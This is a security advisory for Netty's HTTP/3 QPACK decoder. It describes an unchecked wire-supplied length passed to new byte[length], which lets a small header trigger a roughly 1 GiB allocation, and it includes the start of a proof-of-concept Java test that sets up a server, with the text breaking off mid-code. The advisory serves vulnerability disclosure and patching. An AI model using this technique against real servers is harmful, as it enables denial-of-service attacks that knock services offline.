GHSA-2c5c-chwr-9hqw

Summary

When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).

Details

When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].

PoC

The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            AtomicReference<Throwable> serverErrors = new AtomicReference<>();
            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)...